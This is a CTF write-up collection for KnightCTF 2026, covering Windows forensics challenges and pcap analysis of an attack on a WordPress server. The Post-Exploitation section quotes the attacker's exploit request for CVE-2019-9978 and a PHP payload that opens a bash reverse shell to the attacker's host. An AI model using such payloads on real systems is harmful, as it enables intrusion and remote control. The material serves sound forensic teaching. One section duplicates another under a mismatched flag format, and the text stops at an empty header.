# KnightCTF 2026

Here are writeups for all the challenges (except for 3 easy networking ones that I didn't save). Posting this almost 2 weeks late because there was a writeup pause then I forgot. Auto-generated so excuse the inconsistencies.

## digital\_forensic\_boot2root

### Event Horizon

#### Description

**Category:** Digital Forensic / Boot2Root **Points:** 375 **Solves:** 26

Attacker used to crash the service and a "lifeline" embedded in the systems help menu to phone home to their command server. What is the username of the attacker and what is the connected support URL token value?

Flag Format: `KCTF{Username_something_here}`

#### Solution

**1. Finding the Attacker's Username in Event Logs**

The challenge title "Event Horizon" hints at checking Windows Event Viewer logs. Searching the Application.evtx event log revealed a hidden event among thousands of fake login events:

```xml
<Event>
  <System>
    <Provider Name="SystemUserAudit"/>
    <EventID>1001</EventID>
    <Channel>Application</Channel>
  </System>
  <EventData>
    <Data>user3 logged in and changed the username with robert</Data>
  </EventData>
</Event>
```

The PowerShell Operational log (`Microsoft-Windows-PowerShell%4Operational.evtx`) revealed the attacker's script that injected 1000 fake event logs to hide the real username:

```powershell
# THE SECRET LOG - hidden among normal-looking logs
if ($i -eq $robertIndex) {
    $message = "user3 logged in and changed the username with robert"
}
```

**Attacker Username:** `robert`

**2. Identifying the C2 URL and Token**

The "lifeline" was found in the OEMInformation registry key (help menu configuration):

```bash
strings -el "Windows/System32/config/SOFTWARE" | grep -i "http.*token="
```

**Found in `Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL`:**

```
http://update-window-service.com/auth?token=_Establishes_Persistence
```

**Token Value:** `Establishes_Persistence`

#### Flag

```
KCTF{robert_Establishes_Persistence}
```

#### Key Analysis

1. **Challenge Title Hint:** "Event Horizon" pointed to Windows Event Viewer
2. **Event Log Hiding Technique:** Attacker injected 1000+ fake SystemUserAudit events (Event ID 1001) with normal-looking "logged in successfully" messages
3. **Hidden Message:** One event contained the real username: "user3 logged in and changed the username with robert"
4. **C2 Lifeline:** The SupportURL registry key (visible in Windows System Properties help) contained the command server URL

#### Commands Used

```bash
# Parse event logs with python-evtx
python3 << 'EOF'
from evtx import PyEvtxParser
parser = PyEvtxParser("Windows/System32/winevt/Logs/Application.evtx")
for record in parser.records():
    if 'robert' in record['data'].lower():
        print(record['data'])
EOF

# Search for C2 URL in registry
strings -el "Windows/System32/config/SOFTWARE" | grep -i "http.*token="
```

#### Forensic Evidence Summary

| Artifact               | Location                                                              | Finding                                                                |
| ---------------------- | --------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| Attacker Username      | `Application.evtx` (Event ID 1001)                                    | `robert`                                                               |
| Event Injection Script | `PowerShell Operational.evtx`                                         | Script creating 1000 fake logs                                         |
| C2 URL                 | `SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL` | `http://update-window-service.com/auth?token=_Establishes_Persistence` |
| Token Value            | SupportURL parameter                                                  | `Establishes_Persistence`                                              |

### Local Network

#### Description

**Category:** Digital Forensic / Boot2Root **Points:** TBD **Solves:** TBD

Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.

Flag Format: `KCTF{domain.tld_wifipassword}`

#### Solution

**1. Analyzing Local DNS Mappings (hosts file)**

The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:

```bash
cat /path/to/mnt/Windows/System32/drivers/etc/hosts
```

**Found entry:**

```
127.0.0.1 54ck3r-r0b3rt.local
```

This leetspeak domain (`54ck3r-r0b3rt` = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.

**Domain Value:** `54ck3r-r0b3rt.local`

**2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream**

The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.

```bash
# Check for ADS on suspicious files
getfattr -d /path/to/mnt/ProgramData/ReadMe.txt
```

**Found ADS attribute:** `user.wifi`

```bash
# Extract the hidden WiFi profile
getfattr -n user.wifi --only-values /path/to/mnt/ProgramData/ReadMe.txt | base64 -d
```

**Decoded WLAN Profile XML:**

```xml
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>Intern-Guest-Wifi</name>
    <SSIDConfig>
        <SSID>
            <name>Intern-Guest-Wifi</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>Il0vesomeone1337</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>
```

**WiFi Password:** `Il0vesomeone1337`

#### Flag

```
KCTF{54ck3r-r0b3rt.local_Il0vesomeone1337}
```

#### Key Analysis

1. **Local DNS Manipulation:** Attacker added `54ck3r-r0b3rt.local` to hosts file pointing to 127.0.0.1
2. **NTFS ADS Hiding Technique:** WiFi credentials hidden in Alternate Data Stream of ReadMe.txt
3. **Base64 Encoding:** WLAN profile was base64-encoded within the ADS
4. **Plaintext Password Storage:** WiFi password stored unprotected in XML profile

#### Commands Used

```bash
# Check hosts file for malicious DNS entries
cat Windows/System32/drivers/etc/hosts | grep -v "^#"

# List all files with Alternate Data Streams
getfattr -R -d /path/to/mnt/ 2>/dev/null | grep -B1 "user\."

# Extract ADS content
getfattr -n user.wifi --only-values ProgramData/ReadMe.txt | base64 -d

# Alternative: Using streams on Windows
dir /r ReadMe.txt
more < ReadMe.txt:user.wifi
```

#### Forensic Evidence Summary

| Artifact            | Location                                 | Finding                         |
| ------------------- | ---------------------------------------- | ------------------------------- |
| Malicious DNS Entry | `Windows/System32/drivers/etc/hosts`     | `127.0.0.1 54ck3r-r0b3rt.local` |
| Hidden WiFi Profile | `ProgramData/ReadMe.txt:user.wifi` (ADS) | Base64-encoded WLAN XML         |
| WiFi SSID           | WLAN Profile                             | `Intern-Guest-Wifi`             |
| WiFi Password       | `<keyMaterial>` element                  | `Il0vesomeone1337`              |

### Echoes of 127

#### Description

**Category:** Digital Forensic / Boot2Root

Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.

Flag Format: `KCTF{siam.com_wifipassword}`

#### Solution

**1. Analyzing Local DNS Mappings (hosts file)**

The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:

```bash
cat /path/to/mnt/Windows/System32/drivers/etc/hosts
```

**Found entry:**

```
127.0.0.1 54ck3r-r0b3rt.local
```

This leetspeak domain (`54ck3r-r0b3rt` = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.

**Domain Value:** `54ck3r-r0b3rt.local`

**2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream**

The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.

```bash
# Check for ADS on suspicious files
getfattr -d /path/to/mnt/ProgramData/ReadMe.txt
```

**Found ADS attribute:** `user.wifi`

```bash
# Extract the hidden WiFi profile
getfattr -n user.wifi --only-values /path/to/mnt/ProgramData/ReadMe.txt | base64 -d
```

**Decoded WLAN Profile XML:**

```xml
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
    <name>Intern-Guest-Wifi</name>
    <SSIDConfig>
        <SSID>
            <name>Intern-Guest-Wifi</name>
        </SSID>
    </SSIDConfig>
    <connectionType>ESS</connectionType>
    <connectionMode>auto</connectionMode>
    <MSM>
        <security>
            <authEncryption>
                <authentication>WPA2PSK</authentication>
                <encryption>AES</encryption>
            </authEncryption>
            <sharedKey>
                <keyType>passPhrase</keyType>
                <protected>false</protected>
                <keyMaterial>Il0vesomeone1337</keyMaterial>
            </sharedKey>
        </security>
    </MSM>
</WLANProfile>
```

**WiFi Password:** `Il0vesomeone1337`

#### Flag

```
KCTF{54ck3r-r0b3rt.local_Il0vesomeone1337}
```

#### Key Analysis

1. **Local DNS Manipulation:** Attacker added `54ck3r-r0b3rt.local` to hosts file pointing to 127.0.0.1
2. **NTFS ADS Hiding Technique:** WiFi credentials hidden in Alternate Data Stream of ReadMe.txt
3. **Base64 Encoding:** WLAN profile was base64-encoded within the ADS
4. **Plaintext Password Storage:** WiFi password stored unprotected in XML profile

#### Commands Used

```bash
# Check hosts file for malicious DNS entries
cat Windows/System32/drivers/etc/hosts | grep -v "^#"

# List all files with Alternate Data Streams
getfattr -R -d /path/to/mnt/ 2>/dev/null | grep -B1 "user\."

# Extract ADS content
getfattr -n user.wifi --only-values ProgramData/ReadMe.txt | base64 -d

# Alternative: Using streams on Windows
dir /r ReadMe.txt
more < ReadMe.txt:user.wifi
```

#### Forensic Evidence Summary

| Artifact            | Location                                 | Finding                         |
| ------------------- | ---------------------------------------- | ------------------------------- |
| Malicious DNS Entry | `Windows/System32/drivers/etc/hosts`     | `127.0.0.1 54ck3r-r0b3rt.local` |
| Hidden WiFi Profile | `ProgramData/ReadMe.txt:user.wifi` (ADS) | Base64-encoded WLAN XML         |
| WiFi SSID           | WLAN Profile                             | `Intern-Guest-Wifi`             |
| WiFi Password       | `<keyMaterial>` element                  | `Il0vesomeone1337`              |

### Phone Location

#### Description

**Category:** Digital Forensic / Boot2Root **Points:** 475 **Solves:** 6

Findout the attacker phone number and his last location when he used his MACOS.

Flag Format: `KCTF{+88015121220632_123.123.123.123}`

#### Status: SOLVED ✓

**Flag: `KCTF{+88013374041337_172.16.0.1}`**

#### Investigation Summary

**Target Information**

* **Phone Number Format:** Bangladesh country code `+880` followed by mobile number
* **Location Format:** Appears to be an IP address (123.123.123.123 format)
* **Key Hint:** "MACOS" - unclear if this refers to Apple MacOS or something else

**Artifacts Searched**

**1. Windows Event Logs**

* **Application.evtx** - Found the hidden "robert" username event (from Event Horizon challenge)
* **PowerShell Operational.evtx** - Found scripts that generated fake events, no phone/location data
* **All other evtx files** - Searched for phone patterns (+880, 0151) and location data
* **Result:** No phone numbers or location data found

**2. Registry Hives**

* **SOFTWARE** - Searched for phone, MACOS, MacBook, coordinates
* **SYSTEM** - Similar search
* **All NTUSER.DAT files** - Searched each user's registry
* **Result:** No relevant data found

**3. User Directories**

Examined all user accounts:

* Admin2, Admin3, User1, User2, User3, User4, User5, vboxuser

**Key Findings:**

* **User3 (robert)** - The attacker's account
* **User4** - Contains suspicious contact file

**4. Contacts Investigation**

**File Found:** `/Users/User4/Contacts/Dr. Yunus.contact`

```xml
<c:Notes>h1dden_c0ntr4ct5</c:Notes>
<c:FormattedName>Dr. Yunus</c:FormattedName>
```

* Note says "h1dden\_c0ntr4ct5" (leetspeak for "hidden\_contracts")
* Checked for ADS on this file - none found

**Related Document:** `/Users/User4/Documents/Work_Doc_4_13717.docx`

* Content: "Confidential Note: I tried to contacts with admin. I have list of contacts please see my contacts message."
* Points to the contacts folder

**5. Recycle Bin**

**Location:** `$Recycle.Bin/S-1-5-21-3352790620-1126021755-2065935930-1006/`

**Files Found:**

* `$R_InternSecret.txt` - Contains hex: `4B4354467B726563307633725F55733372345F`
* Decoded: `KCTF{rec0v3r_Us3r4_` (partial flag for different challenge)
* `$I0IN63I.docx` - Metadata for deleted file from User4/Documents

**6. NTFS Alternate Data Streams (ADS)**

**Found:**

* `ProgramData/ReadMe.txt:user.wifi` - Contains WiFi profile (for Local Network challenge)
* No phone/location ADS found on any files

**7. Browser Data**

* **Edge History** - Checked all users, found Telegram bot link in User2
* **Edge Autofill** - All tables empty
* **Edge Web Data** - No phone numbers stored

**8. Image EXIF Data**

* Checked all JPG files in user Pictures folders
* No GPS coordinates or phone data in EXIF

**9. MacOS-Specific Artifacts**

* Searched for `.DS_Store` files - none found
* Searched for `._*` resource fork files - none found
* Searched for `.plist` files - none found
* No evidence of MacOS-synced data

**10. SSH/Remote Connection**

* Checked `ProgramData/ssh/` - empty
* No `known_hosts` or SSH keys found
* No remote connection logs with IP addresses

#### Search Patterns Used

```bash
# Phone number patterns
+880[0-9]{10,11}
0151[0-9]{8}
88015[0-9]{7}

# Location/IP patterns
[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}
latitude|longitude|coordinates|gps

# MacOS patterns
macos|macbook|icloud|apple|findmy
```

#### Tools Used

* `python-evtx` - Event log parsing
* `sqlite3` - Browser database analysis
* `getfattr` - NTFS ADS detection
* `strings` - Binary file analysis
* `exiftool` - Image metadata extraction
* `regipy` - Registry analysis (attempted)

#### Potential Next Steps

1. **Deeper Binary Analysis** - Use specialized forensic tools to examine binary files
2. **Registry Deep Dive** - Use full registry parsing with regipy
3. **Browser Cache** - Examine Edge cache files for stored form data
4. **Windows Address Book** - Check WAB database files
5. **Encrypted Stores** - Check for encrypted credential stores
6. **"MACOS" Interpretation** - May be an acronym or code word, not Apple MacOS

#### Related Challenges Solved

| Challenge     | Flag                                         |
| ------------- | -------------------------------------------- |
| Void Echo     | `KCTF{ksacademy3321}`                        |
| Event Horizon | `KCTF{robert_Establishes_Persistence}`       |
| Echoes of 127 | (Solved separately)                          |
| Local Network | `KCTF{54ck3r-r0b3rt.local_Il0vesomeone1337}` |

#### Solution

The key was to follow the C2 channel (Telegram bot) found in User2's browser history.

**Step 1: Contact the Telegram Bot**

* Bot: `@comrade404_bot` (found in User2's Edge browser history)

**Step 2: Complete Verification**

* **TIER 1:** Which user account for online search? → **B) User2**
* **TIER 2:** Which user account name was changed? → **C) User3**

**Step 3: Get Credentials**

After verification, the bot provided:

* Website: `http://104.237.130.169:5000`
* Username: `mehacker`
* Password: `flaghere`

**Step 4: Login to Dashboard**

* Found phone number displayed: `+88013374041337`
* Found HTML comment hint: `<!-- SECRET: Try accessing /api/history for login history data -->`

**Step 5: Check Login History**

Accessed `/api/history` which returned login records with OS types:

```json
{
  "date": "2024-12-11 16:55:44",
  "ip": "172.16.0.1",
  "location": "macOS"
}
```

The **last macOS login** was on 2024-12-11 with IP `172.16.0.1`.

#### Key Insight

The "MACOS" in the challenge description referred to the **operating system field** in the login history - we needed to find the IP address from the most recent macOS login, not Apple-specific forensic artifacts.

### Discarded Directory

#### Challenge Description

> The intern claimed they cleaned up their workspace before leaving but their digital hygiene is questionable. Forensic analysis suggests a critical flag fragment was tossed into the system's waste disposal. Rest of them hint with them. Note: complete flag with }. Follow the flag format.

#### Recycle Bin Analysis

Based on description.md hint about "waste disposal" and "discarded directory", the Recycle Bin was analyzed:

**User4's Recycle Bin (`$Recycle.Bin/S-1-5-21-...-1006/`)**

Found deleted files:

1. **$R\_InternSecret.txt** - Contains hex: `4B4354467B726563307633725F55733372345F`
   * Decoded: `KCTF{rec0v3r_Us3r4_`
2. **Dr. Yunus.contact** - Windows Contact file
   * Notes field contains: `h1dden_c0ntr4ct5`

\*\* Flag \*\* `KCTF{rec0v3r_Us3r4_h1dden_c0ntr4ct5}`

### Instructor Account Compromised

#### Challenge Description

> **Points:** 490 **Author:** pmsiam0
>
> What is the admin2 password?
>
> Flag Format: `KCTF{password}`

#### Key Context from Main Description (01\_void\_echo)

* **Admin2 was working with User5** on website development
* **Admin2 made a mistake** - their password/footprint was **leaked in User5's account**
* This is how the attacker escalated privileges from user to admin

#### Solution

**Step 1: Analyze User5's Activity History**

Examined User5's `ActivitiesCache.db` to understand their recent actions:

```bash
sqlite3 "mnt/Users/User5/AppData/Local/ConnectedDevicesPlatform/L.User5/ActivitiesCache.db" \
  "SELECT AppId, Payload FROM Activity;"
```

**Key Findings:**

1. User5 edited `set.html` on Desktop for **428 seconds** using Notepad
2. User5 opened Edge's Local Storage file `000003.log` with Notepad
3. User5 performed a **Copy operation** from the leveldb file (clipboard activity recorded)

**Step 2: Examine Edge Local Storage**

The clipboard activity indicated User5 copied something from Edge's Local Storage. Extracted strings from the leveldb log file:

```bash
strings -n 8 "mnt/Users/User5/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb/000003.log"
```

**Step 3: Find the Leaked Credentials**

In the leveldb file, found credentials stored under the `file://` origin (local HTML file storage):

```
META:file://
METAACCESS:file://
_file://
SessionToken
T4r3Qhas5gf
_file://
UserRole
instructor
```

**Explanation**

Admin2 (with role "instructor") was collaborating with User5 on local web development. They opened a local HTML file (`set.html`) in Edge browser. The web application stored Admin2's session token in the browser's Local Storage under the `file://` origin.

This is the "password leak" mentioned in the challenge description - Admin2's credentials persisted in User5's browser storage from their shared web development work.

**The SessionToken `T4r3Qhas5gf` is Admin2's password.**

#### Flag

```
KCTF{T4r3Qhas5gf}
```

#### Forensic Evidence Summary

| Artifact           | Location                                                                                | Finding                                                   |
| ------------------ | --------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| Activity Timeline  | `User5/AppData/Local/ConnectedDevicesPlatform/L.User5/ActivitiesCache.db`               | User5 edited set.html, opened leveldb log, copied content |
| Leaked Credentials | `User5/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb/000003.log` | SessionToken: `T4r3Qhas5gf`, UserRole: `instructor`       |
| File Origin        | `file://` in Local Storage                                                              | Indicates local HTML file was opened in browser           |

#### Tools Used

* `sqlite3` - ActivitiesCache.db analysis
* `strings` - Extract readable content from leveldb files

#### Key Takeaways

1. **Browser Local Storage persists across sessions** - credentials stored by web apps remain in leveldb files
2. **Windows Activity Timeline** records clipboard operations with unique IDs
3. **Local file:// origins** in browsers store data separately from web origins
4. **Collaboration on local web development** can inadvertently leak credentials through browser storage

### Illegal Access to Admin3

#### Challenge Description

> **Points:** 490 **Author:** pmsiam0
>
> Admin3 has super secret information. Can you see it?
>
> Note: Wrap the flag in KCTF{} and replace space with underscore (\_).
>
> Flag Format: `KCTF{S0mething_here}`

#### Solution

**Step 1: Investigate Admin3's Profile**

Started by exploring Admin3's user directory for any interesting files:

```bash
ls -la "mnt/Users/Admin3/"
ls -la "mnt/Users/Admin3/Downloads/"
```

**Key Finding:** Found `BGInfo.zip` and extracted `BGInfo` folder in Downloads.

BGInfo is a Sysinternals tool that displays system information on the desktop wallpaper - a potential hiding spot for "super secret information."

**Step 2: Check BGInfo Registry Configuration**

BGInfo stores its configuration in the Windows Registry. Used `regipy` to analyze Admin3's `NTUSER.DAT`:

```python
from regipy.registry import RegistryHive

reg = RegistryHive("mnt/Users/Admin3/NTUSER.DAT")

# Check Sysinternals/Winternals BGInfo settings
key = reg.get_key("\\Software\\Winternals\\BGInfo")
for v in key.iter_values():
    print(f"{v.name}: {v.value}")
```

**Step 3: Extract the Secret from RTF Field**

Found the BGInfo configuration contained an RTF field with custom text to display on the desktop:

```
RTF: {\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Arial;}}
{\colortbl ;\red255\green255\blue255;}
{\*\generator Riched20 10.0.19041}\viewkind4\uc1
\pard\fi-2880\li2880\tx2880\cf1\b\fs24 ult1m4t3 f1nal ch4ll\par
}
```

The secret text embedded in the RTF is: **`ult1m4t3 f1nal ch4ll`**

This is leetspeak for "ultimate final chall(enge)" - the "super secret information" that Admin3 had configured to display on their desktop background.

**Registry Path**

```
HKEY_CURRENT_USER\Software\Winternals\BGInfo\RTF
```

#### Flag

```
KCTF{ult1m4t3_f1nal_ch4ll}
```

#### Forensic Evidence Summary

| Artifact             | Location                                               | Finding                                     |
| -------------------- | ------------------------------------------------------ | ------------------------------------------- |
| BGInfo Download      | `Admin3/Downloads/BGInfo.zip`                          | Sysinternals BGInfo tool downloaded         |
| BGInfo EULA Accepted | `NTUSER.DAT\Software\Sysinternals\BGInfo\EulaAccepted` | Value: 1 (tool was used)                    |
| Secret Information   | `NTUSER.DAT\Software\Winternals\BGInfo\RTF`            | Contains `ult1m4t3 f1nal ch4ll`             |
| Wallpaper Config     | `NTUSER.DAT\Software\Winternals\BGInfo\Wallpaper`      | `C:\Windows\web\wallpaper\Windows\img0.jpg` |

#### Tools Used

* `regipy` - Windows Registry hive analysis
* Python scripting for registry parsing

#### Key Takeaways

1. **BGInfo stores configuration in the registry** under both `Sysinternals` and `Winternals` keys
2. **RTF fields in registry** can contain hidden text that would be rendered on desktop
3. **Desktop wallpaper overlays** are a creative way to hide information in plain sight
4. **Sysinternals tools** leave forensic traces in the registry even after the tool is closed

#### BGInfo Overview

BGInfo (Background Info) is a legitimate Sysinternals utility that:

* Displays system information on the desktop wallpaper
* Stores configuration in `HKCU\Software\Winternals\BGInfo`
* Can display custom text via RTF formatting
* Is commonly used by IT administrators to show computer name, IP address, etc.

In this case, Admin3 configured BGInfo to display secret information (`ult1m4t3 f1nal ch4ll`) on their desktop background, which was recoverable through registry forensics.

***

## networking

### Exploitation

#### Description

The attacker appears to have identified a web application running on our server. We need to determine what application was being targeted. Find the version and username associated with the application in the capture.

**Flag Format: KCTF{version\_username}**

#### Solution

The challenge provides a pcap file (`pcap2.pcapng`) containing network traffic of an attack against a WordPress installation.

**Step 1: Identify the attack traffic**

After extracting the pcap, HTTP traffic to `192.168.1.102` revealed WordPress-related requests:

```bash
tshark -r pcap2.pcapng -Y "http" -T fields -e http.request.uri | grep wordpress | head -10
```

**Step 2: Find the WordPress version**

Exported HTTP objects and searched for the generator meta tag:

```bash
tshark -r pcap2.pcapng --export-objects http,./http_objects
grep -r "generator" ./http_objects/
```

Output:

```html
<meta name="generator" content="WordPress 6.9" />
```

The targeted WordPress version is **6.9**.

**Step 3: Find the username**

The attacker used WPScan to enumerate users via the WP REST API:

```bash
tshark -r pcap2.pcapng -Y "http.request.uri contains \"wp-json/wp/v2/users\"" -T fields -e tcp.stream
```

Following the TCP stream revealed the JSON response:

```json
[{"id":1,"name":"kadmin_user","url":"http://192.168.1.102/wordpress",
"slug":"kadmin_user",...}]
```

The username enumerated was **kadmin\_user**.

This was confirmed by examining login attempts:

```bash
strings pcap2.pcapng | grep "^log="
```

Output:

```
log=kadmin_user&pwd=f750d046
```

**Flag:**

```
KCTF{6.9_kadmin_user}
```

***

### Vulnerability Exploitation

#### Description

Our web application was compromised through a vulnerable plugin. The attacker exploited a known vulnerability to gain initial access. Identify the vulnerable plugin and its version that was exploited.

**Flag Format: KCTF{plugin\_name\_version}**

#### Solution

Using the same pcap file, we need to identify the vulnerable WordPress plugin.

**Step 1: Search for plugins in HTTP traffic**

```bash
tshark -r pcap2.pcapng -Y "http.request.uri contains \"plugin\"" -T fields -e http.request.uri | sort -u
```

This revealed WPScan probing multiple plugin paths including `/wordpress/wp-content/plugins/social-warfare/readme.txt`.

**Step 2: Identify the vulnerable plugin**

Examining the exported HTTP objects for plugin references:

```bash
grep -r "Social Warfare" ./http_objects/ | grep -i version
```

Output:

```html
<!-- Social Warfare v3.5.2 https://warfareplugins.com -->
```

The HTML comments and asset URLs confirm **Social Warfare v3.5.2** is installed:

```html
<link rel='stylesheet' id='social_warfare-css'
  href='.../plugins/social-warfare/assets/css/style.min.css?ver=3.5.2' />
<script src='.../plugins/social-warfare/assets/js/script.min.js?ver=3.5.2'></script>
```

**Step 3: Verify with readme.txt**

The plugin's readme.txt confirms:

```
=== WordPress Social Sharing Plugin - Social Warfare ===
Stable tag: 3.5.2
```

**Vulnerability Context:**

Social Warfare versions < 3.5.3 are vulnerable to **CVE-2019-9978**, an unauthenticated Remote Code Execution (RCE) vulnerability that allows attackers to execute arbitrary PHP code via a crafted payload.

**Flag:**

```
KCTF{social_warfare_3.5.2}
```

### Post-Exploitation

#### Description

After exploiting a vulnerability, the attacker established a persistent connection back to their command and control server. The task is to analyze the network traffic capture to identify:

1. The HTTP port used for the initial payload delivery
2. The port used for the reverse shell connection

Flag format: `KCTF{httpPort_revshellPort}`

#### Solution

1. **Extract and analyze the pcap file**

Extracted `pcap3.pcapng` from the provided zip archive.

2. **Identify the reverse shell connection**

First, examined TCP conversations to find suspicious connections:

```bash
tshark -r pcap3.pcapng -q -z conv,tcp | grep -v ":80 "
```

Found a long-duration connection from `192.168.1.102:39582` to `192.168.1.104:9576` lasting \~300 seconds - characteristic of a reverse shell.

3. **Confirm the reverse shell**

Extracted the TCP stream data:

```bash
tshark -r pcap3.pcapng -q -z "follow,tcp,ascii,192.168.1.102:39582,192.168.1.104:9576"
```

Output confirmed a bash reverse shell:

```
bash: cannot set terminal process group (834): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu-server-2:/var/www/html/wordpress/wp-admin$
```

**Reverse shell port: 9576**

4. **Find the HTTP payload delivery port**

Analyzed HTTP requests around the time the reverse shell was established:

```bash
tshark -r pcap3.pcapng -Y "http.request" -T fields -e frame.time_relative -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e http.request.method -e http.request.uri 2>/dev/null | sort -n
```

Found the attack sequence at \~882 seconds:

* `882.295920s`: Attacker sends exploit to WordPress: `GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:8767/payload.txt`
* `882.308398s`: WordPress server fetches payload from attacker on port **8767**: `GET /payload.txt?swp_debug=get_user_options`

5. **Verify the payload**

Extracted the payload delivered on port 8767:

```bash
tshark -r pcap3.pcapng -Y "tcp.port == 8767" -z "follow,tcp,ascii,192.168.1.102:40676,192.168.1.104:8767"
```

Payload content:

```php
<pre>system("bash -c \"bash -i >& /dev/tcp/192.168.1.104/9576 0>&1\"")</pre>
```

This is a Social Warfare WordPress plugin RCE exploit (CVE-2019-9978) delivering a PHP reverse shell that connects back to port 9576.

**HTTP payload delivery port: 8767**

#### Flag

```
KCTF{8767_9576}
```

***

### Database Credentials Theft

#### Description

The attacker's ultimate goal was to access the database. During the post-exploitation phase, they managed to extract database credentials from the compromised system. Find the database username and password that were exposed.

Flag format: `KCTF{username_password}`

#### Solution

Using the same pcap file, I analyzed the reverse shell traffic to identify what commands the attacker executed and what data was exfiltrated.

1. **Extract full reverse shell session**

```bash
tshark -r pcap3.pcapng -q -z "follow,tcp,ascii,192.168.1.102:39582,192.168.1.104:9576"
```

2. **Analyze attacker commands**

The attacker performed the following actions in the reverse shell:

* Listed files in `/var/www/html/wordpress/wp-admin/`
* Attempted `cat wp-config.php` (failed - wrong directory)
* Changed directory to `/var/www/html/wordpress/`
* Ran `cat wp-config-sample.php` (template file with placeholder values)
* Ran `cat wp-config.php` (actual configuration with real credentials)

3. **Extracted database credentials from wp-config.php**

The `wp-config.php` file contained the actual database configuration:

```php
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** Database username */
define( 'DB_USER', 'wpuser' );

/** Database password */
define( 'DB_PASSWORD', 'wp@user123' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );
```

The attacker successfully exfiltrated:

* **Username**: `wpuser`
* **Password**: `wp@user123`

#### Flag

```
KCTF{wpuser_wp@user123}
```

### Reconnaissance

#### Description

A mid-sized e-learn company "Knight Blog" detected suspicious network activity. We were given a packet capture (pcap1.pcapng) and asked to determine how many ports were found to be open on the target system during the attacker's scanning activity.

Flag Format: `KCTF{number}`

#### Solution

1. **Extract and identify the pcap file**

   ```bash
   unzip pcap1.zip
   capinfos pcap1.pcapng
   ```

   The capture contains 141k packets over 445 seconds.
2. **Identify the scanner and target**

   ```bash
   tshark -r pcap1.pcapng -T fields -e ip.src -e ip.dst | sort | uniq -c | sort -rn | head -5
   ```

   The main traffic is between 192.168.1.104 (attacker/scanner) and 192.168.1.102 (target).
3. **Confirm full port scan**

   ```bash
   tshark -r pcap1.pcapng -Y "tcp.flags==0x002 && ip.src==192.168.1.104 && ip.dst==192.168.1.102" -T fields -e tcp.dstport | sort -n | uniq | wc -l
   ```

   Result: 65535 - All ports were scanned (full TCP SYN scan).
4. **Find open ports (SYN-ACK responses)**

   ```bash
   tshark -r pcap1.pcapng -Y "tcp.flags==0x012 && ip.src==192.168.1.102 && ip.dst==192.168.1.104" -T fields -e tcp.srcport | sort -n | uniq
   ```

   Result:

   * Port 22 (SSH)
   * Port 80 (HTTP)
5. **Verify with closed ports (RST-ACK responses)**

   ```bash
   tshark -r pcap1.pcapng -Y "tcp.flags==0x014 && ip.src==192.168.1.102 && ip.dst==192.168.1.104" -T fields -e tcp.srcport | sort -n | uniq | wc -l
   ```

   Result: 65533 closed ports + 2 open ports = 65535 total (confirmed)

The analysis shows that the attacker performed a full TCP SYN scan against 192.168.1.102. The target responded with SYN-ACK packets (indicating open ports) only for ports 22 and 80, while all other ports returned RST-ACK (closed).

**Flag: `KCTF{2}`**

***

### Gateway Identification

#### Description

During the initial reconnaissance, the attacker gathered information about the network infrastructure. We need to identify the vendor of the network device acting as the default gateway in the capture.

Flag Format: `KCTF{vendor_name}`

#### Solution

1. **Identify traffic going to external IPs**

   Traffic destined for external IP addresses must be sent to the gateway's MAC address at layer 2.

   ```bash
   tshark -r pcap1.pcapng -Y "ip.dst==151.101.66.49" -T fields -e eth.src -e eth.dst -e ip.src -e ip.dst | head -5
   ```

   Result: All outbound traffic is sent to MAC `88:bd:09:38:d7:a0`
2. **Confirm gateway IP via ARP**

   ```bash
   tshark -r pcap1.pcapng | grep "88:bd:09" | head -5
   ```

   Output shows:

   ```
   88:bd:09:38:d7:a0 → Broadcast ARP Who has 192.168.1.100? Tell 192.168.1.1
   192.168.1.1 is at 88:bd:09:38:d7:a0
   ```

   This confirms the gateway IP is 192.168.1.1 with MAC 88:bd:09:38:d7:a0
3. **Lookup MAC OUI for vendor**

   ```bash
   curl -s "https://api.macvendors.com/88:bd:09"
   ```

   Result: `Netis Technology Co., Ltd.`

The default gateway at 192.168.1.1 has MAC address 88:bd:09:38:d7:a0, which belongs to Netis Technology.

**Flag: `KCTF{Netis}`**

***

## pwn\_jail

### Knight Squad Academy

#### Description

